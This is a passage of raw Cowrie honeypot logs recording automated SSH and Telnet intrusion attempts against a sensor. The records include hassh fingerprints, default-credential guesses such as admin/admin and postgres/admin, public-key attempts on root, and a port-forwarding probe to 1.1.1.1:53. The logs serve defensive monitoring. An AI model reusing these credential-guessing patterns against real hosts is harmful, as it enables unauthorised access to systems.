","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:30:00.710919Z","src_ip":"146.70.245.157","session":"8c742a068ed2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ram","password":"ram","message":"login attempt [ram/ram] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:30:01.130878Z","src_ip":"146.70.245.157","session":"8c742a068ed2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:30:02.282418Z","src_ip":"146.70.245.157","session":"8c742a068ed2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.513226985931396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:30:09.232195Z","src_ip":"69.4.83.194","session":"11599bb6bbd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":39352,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab248a60140e","protocol":"ssh","message":"New connection: 147.45.197.250:39352 (10.17.0.5:22) [session: ab248a60140e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:30:14.329240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:30:14.339147Z","src_ip":"147.45.197.250","session":"ab248a60140e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:30:14.434183Z","src_ip":"147.45.197.250","session":"ab248a60140e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12031987","message":"login attempt [root/12031987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:30:14.715077Z","src_ip":"147.45.197.250","session":"ab248a60140e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:30:15.812649Z","src_ip":"147.45.197.250","session":"ab248a60140e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.103","src_port":60136,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3c6dcaadb17","protocol":"ssh","message":"New connection: 171.244.37.103:60136 (159.203.135.109:22) [session: b3c6dcaadb17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:30:32.418992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:30:32.423817Z","src_ip":"171.244.37.103","session":"b3c6dcaadb17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:30:32.681103Z","src_ip":"171.244.37.103","session":"b3c6dcaadb17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"admin","message":"login attempt [postgres/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:30:33.727398Z","src_ip":"171.244.37.103","session":"b3c6dcaadb17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:30:34.984491Z","src_ip":"171.244.37.103","session":"b3c6dcaadb17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":45178,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c1f2922a8bc","protocol":"telnet","message":"New connection: 69.4.83.194:45178 (159.203.135.109:23) [session: 5c1f2922a8bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:30:52.393347Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":13366,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a4fb0062b50","protocol":"ssh","message":"New connection: 87.251.64.176:13366 (10.17.0.5:22) [session: 1a4fb0062b50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:30:58.640573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:30:58.646598Z","src_ip":"87.251.64.176","session":"1a4fb0062b50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:30:58.741354Z","src_ip":"87.251.64.176","session":"1a4fb0062b50","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:30:59.026567Z","src_ip":"87.251.64.176","session":"1a4fb0062b50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:30:59.124524Z","session":"1a4fb0062b50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:30:59.224053Z","src_ip":"87.251.64.176","session":"1a4fb0062b50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:30:59.323890Z","src_ip":"87.251.64.176","session":"1a4fb0062b50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.109.150","src_port":43182,"dst_ip":"10.17.0.5","dst_port":22,"session":"0033eea41e37","protocol":"ssh","message":"New connection: 37.187.109.150:43182 (10.17.0.5:22) [session: 0033eea41e37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:01.474421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:01.483649Z","src_ip":"37.187.109.150","session":"0033eea41e37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:01.580338Z","src_ip":"37.187.109.150","session":"0033eea41e37","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"66:90:c7:84:09:35:5e:ca:fa:be:3b:3b:4d:3f:61:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCUyZ59X3pomoSBNRcprgYLEqIYzNJK5sfHnJ0yfFIDIV6eU+LiCCL+83WEPDMcmLJa6ehQ9C+8Q2+W1bMDH/hSjMlLMMO3pGoCZukhgd9YlY1gjYYaPk4vlF3e5m587hjj9rvRmJ9eWEI/smA6Ygs2yQlB19V2ihYqaaKfKBrHQM9+IBLqyubILd6526ZislFBuwjmr8yFuXU5O++q0/L36JbH+2zSBIGo9n1k+68Zs9JigonbKwjnApelTRNe6E0rCsuptcWgoz3dVTWjydVcxzc26JljUXuJnNaFPsX5x6LCUJC6tDrZWAuhZnQlNomeTnlBMx7vTKrsEXZm1JWYgaKvjYyKQbLGGsjgbSo5ahdQyVmUmudMce3/yB2RoNbxgpuIGY51dGjdBdAqZc0W/Fu4bHQmOQtBIKevQKtUXoQj9MZhIv9XHiw96TQBd71Vp5TRDNIhF+oQcMHWzFQt0mTiTDJJTS100BDrgNP2taVyNlbkf4d9yrd8+lBv0wGzYrY4vlOJFwnfeePeadWKRmXHpiIm7BnflpGY8KDFH2R0KZXDtTst2E9soPnfUWQrMnAlIXZJG7AZlWbPt3tzVt8lEWiUDR9seP3kyr5zsTjUPOQ44RHC89wQ4oXtR/kOI4kZWMxTav6gVGuoaFtn8A9jcqliY3xFUFbvZaprcw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 66:90:c7:84:09:35:5e:ca:fa:be:3b:3b:4d:3f:61:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:01.984378Z","src_ip":"37.187.109.150","session":"0033eea41e37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"66:90:c7:84:09:35:5e:ca:fa:be:3b:3b:4d:3f:61:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCUyZ59X3pomoSBNRcprgYLEqIYzNJK5sfHnJ0yfFIDIV6eU+LiCCL+83WEPDMcmLJa6ehQ9C+8Q2+W1bMDH/hSjMlLMMO3pGoCZukhgd9YlY1gjYYaPk4vlF3e5m587hjj9rvRmJ9eWEI/smA6Ygs2yQlB19V2ihYqaaKfKBrHQM9+IBLqyubILd6526ZislFBuwjmr8yFuXU5O++q0/L36JbH+2zSBIGo9n1k+68Zs9JigonbKwjnApelTRNe6E0rCsuptcWgoz3dVTWjydVcxzc26JljUXuJnNaFPsX5x6LCUJC6tDrZWAuhZnQlNomeTnlBMx7vTKrsEXZm1JWYgaKvjYyKQbLGGsjgbSo5ahdQyVmUmudMce3/yB2RoNbxgpuIGY51dGjdBdAqZc0W/Fu4bHQmOQtBIKevQKtUXoQj9MZhIv9XHiw96TQBd71Vp5TRDNIhF+oQcMHWzFQt0mTiTDJJTS100BDrgNP2taVyNlbkf4d9yrd8+lBv0wGzYrY4vlOJFwnfeePeadWKRmXHpiIm7BnflpGY8KDFH2R0KZXDtTst2E9soPnfUWQrMnAlIXZJG7AZlWbPt3tzVt8lEWiUDR9seP3kyr5zsTjUPOQ44RHC89wQ4oXtR/kOI4kZWMxTav6gVGuoaFtn8A9jcqliY3xFUFbvZaprcw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:01.990120Z","src_ip":"37.187.109.150","session":"0033eea41e37","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c6:e9:43:a3:43:a4:73:ab:56:4c:59:7c:96:4c:bc:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3QzAvfVZNeqrQwOlmXaDZJE2RIcHjEdVYL9fdoFjn+fa4BPez2ZblKFsqiQusPycHEQCt48+RQ2lm5SaFOB04skUVOLFCLFPkCtfAVkr9P+CCsnp6frBt6KJIpSoUdGTiuBsPHXeUJI6pmqW+2hje4SVgFYkLh92k8ufTdXpvQdX9dGhJ4aWcy7ribpJnnHe21yh1qBfIv8EfKK6PMWodFZiI/iFS0f5LH14Fyn7XeJW5u0agqhYSQP/wOom0wIJ6j40hMYjcuKl3IBImnLM9lKr8wSL8Tj912LT0Lt+2igif1EbNxsaESG5jfkoUNGhGN6mYsUdOWvzOkU+1rIuJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c6:e9:43:a3:43:a4:73:ab:56:4c:59:7c:96:4c:bc:74","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:02.076044Z","src_ip":"37.187.109.150","session":"0033eea41e37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c6:e9:43:a3:43:a4:73:ab:56:4c:59:7c:96:4c:bc:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3QzAvfVZNeqrQwOlmXaDZJE2RIcHjEdVYL9fdoFjn+fa4BPez2ZblKFsqiQusPycHEQCt48+RQ2lm5SaFOB04skUVOLFCLFPkCtfAVkr9P+CCsnp6frBt6KJIpSoUdGTiuBsPHXeUJI6pmqW+2hje4SVgFYkLh92k8ufTdXpvQdX9dGhJ4aWcy7ribpJnnHe21yh1qBfIv8EfKK6PMWodFZiI/iFS0f5LH14Fyn7XeJW5u0agqhYSQP/wOom0wIJ6j40hMYjcuKl3IBImnLM9lKr8wSL8Tj912LT0Lt+2igif1EbNxsaESG5jfkoUNGhGN6mYsUdOWvzOkU+1rIuJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:02.086764Z","src_ip":"37.187.109.150","session":"0033eea41e37","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"20:86:46:9f:6a:d9:24:36:92:d2:d4:37:8a:88:93:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoXKEfqsP3N2w0oeq5rrFxCBkZDFuLIn1s+TTg7T/56aO2g5PeLDfIwGZ7jIO1G61DAxo54qeC6KVWf3JKA8UirZtq0yVGB5u75nMpnp7k1elBv14RwTsHAkQ5ux5Y2D993Khfbgnpe2rN2y4kJ+vipzzg2tXjb1nGNa6dQzDYT9tuvL9jhJVq9+W2RFbqZSYAQJBmv70oL0mp0e86kdKWEfV5Xwa2uF2dmyRxU4WlRqoht11u3azos71YECGEPJie1ev8ET+o65/zHZDVsEKVC/g4o0Ar/8/qUh5h8VXm+B5Mc9SrUHKeyPxI8Xz0MZdyLseu3/nIT/C/WBh3/K2V","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 20:86:46:9f:6a:d9:24:36:92:d2:d4:37:8a:88:93:74","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:02.172294Z","src_ip":"37.187.109.150","session":"0033eea41e37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"20:86:46:9f:6a:d9:24:36:92:d2:d4:37:8a:88:93:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoXKEfqsP3N2w0oeq5rrFxCBkZDFuLIn1s+TTg7T/56aO2g5PeLDfIwGZ7jIO1G61DAxo54qeC6KVWf3JKA8UirZtq0yVGB5u75nMpnp7k1elBv14RwTsHAkQ5ux5Y2D993Khfbgnpe2rN2y4kJ+vipzzg2tXjb1nGNa6dQzDYT9tuvL9jhJVq9+W2RFbqZSYAQJBmv70oL0mp0e86kdKWEfV5Xwa2uF2dmyRxU4WlRqoht11u3azos71YECGEPJie1ev8ET+o65/zHZDVsEKVC/g4o0Ar/8/qUh5h8VXm+B5Mc9SrUHKeyPxI8Xz0MZdyLseu3/nIT/C/WBh3/K2V","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:02.177004Z","src_ip":"37.187.109.150","session":"0033eea41e37","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"11:ba:4d:f7:6d:0c:0c:75:75:08:4a:99:76:79:ef:08","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAI0DXP6nodS7JNOG4p8fjVxhgsbAMN+F3e5+3X3ht2pmF0Qw5z8y60mSiTmbw2eUqMnsEEqhF7XYqATIFTbuUCLXvaT6KTysLRxdPHlm4gUUv+Yz0n4vV5FEfWo6F7ugpXKShHUh8WG+h6cS6HC3gtvKS0+XPrBBVddHyTp97u4bAAAAFQC0CBtr42VROJuUow812NZejbecxwAAAIBk2urHemCsJ/LBRmaA39jRmkBTzb/15Kao7Fw2XP/hTS9fPn0wKHucNDQoh1JebFZX9H4EmLkjASXC3vwDjBElK5kTMjseqDkLz+3OA5mzirLJ4D7E3YM0asqVTMfAlQIFVGkgEXy/hayz4ajhbKxPxYptLqDxfvPbpcCwFkFr4wAAAIBgjOVvaX0SIIb9t/wXAB1NW5DPTY21ZpVLf06P++GIJD2kDIm5W4vvnnuVKmIknC5BTPwvW/PeEZpb9Zq+EXusZLrE8qmV0l1G4/UYVcjF0wGkCEWeMgjSYkRSJ3sP3WP2rUtDIKMgiftzH9k4KYylq3i+kLFtb6TKDEP8wpqZ7Q==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 11:ba:4d:f7:6d:0c:0c:75:75:08:4a:99:76:79:ef:08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:02.270719Z","src_ip":"37.187.109.150","session":"0033eea41e37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"11:ba:4d:f7:6d:0c:0c:75:75:08:4a:99:76:79:ef:08","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAI0DXP6nodS7JNOG4p8fjVxhgsbAMN+F3e5+3X3ht2pmF0Qw5z8y60mSiTmbw2eUqMnsEEqhF7XYqATIFTbuUCLXvaT6KTysLRxdPHlm4gUUv+Yz0n4vV5FEfWo6F7ugpXKShHUh8WG+h6cS6HC3gtvKS0+XPrBBVddHyTp97u4bAAAAFQC0CBtr42VROJuUow812NZejbecxwAAAIBk2urHemCsJ/LBRmaA39jRmkBTzb/15Kao7Fw2XP/hTS9fPn0wKHucNDQoh1JebFZX9H4EmLkjASXC3vwDjBElK5kTMjseqDkLz+3OA5mzirLJ4D7E3YM0asqVTMfAlQIFVGkgEXy/hayz4ajhbKxPxYptLqDxfvPbpcCwFkFr4wAAAIBgjOVvaX0SIIb9t/wXAB1NW5DPTY21ZpVLf06P++GIJD2kDIm5W4vvnnuVKmIknC5BTPwvW/PeEZpb9Zq+EXusZLrE8qmV0l1G4/UYVcjF0wGkCEWeMgjSYkRSJ3sP3WP2rUtDIKMgiftzH9k4KYylq3i+kLFtb6TKDEP8wpqZ7Q==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:02.277723Z","src_ip":"37.187.109.150","session":"0033eea41e37","protocol":"ssh"}
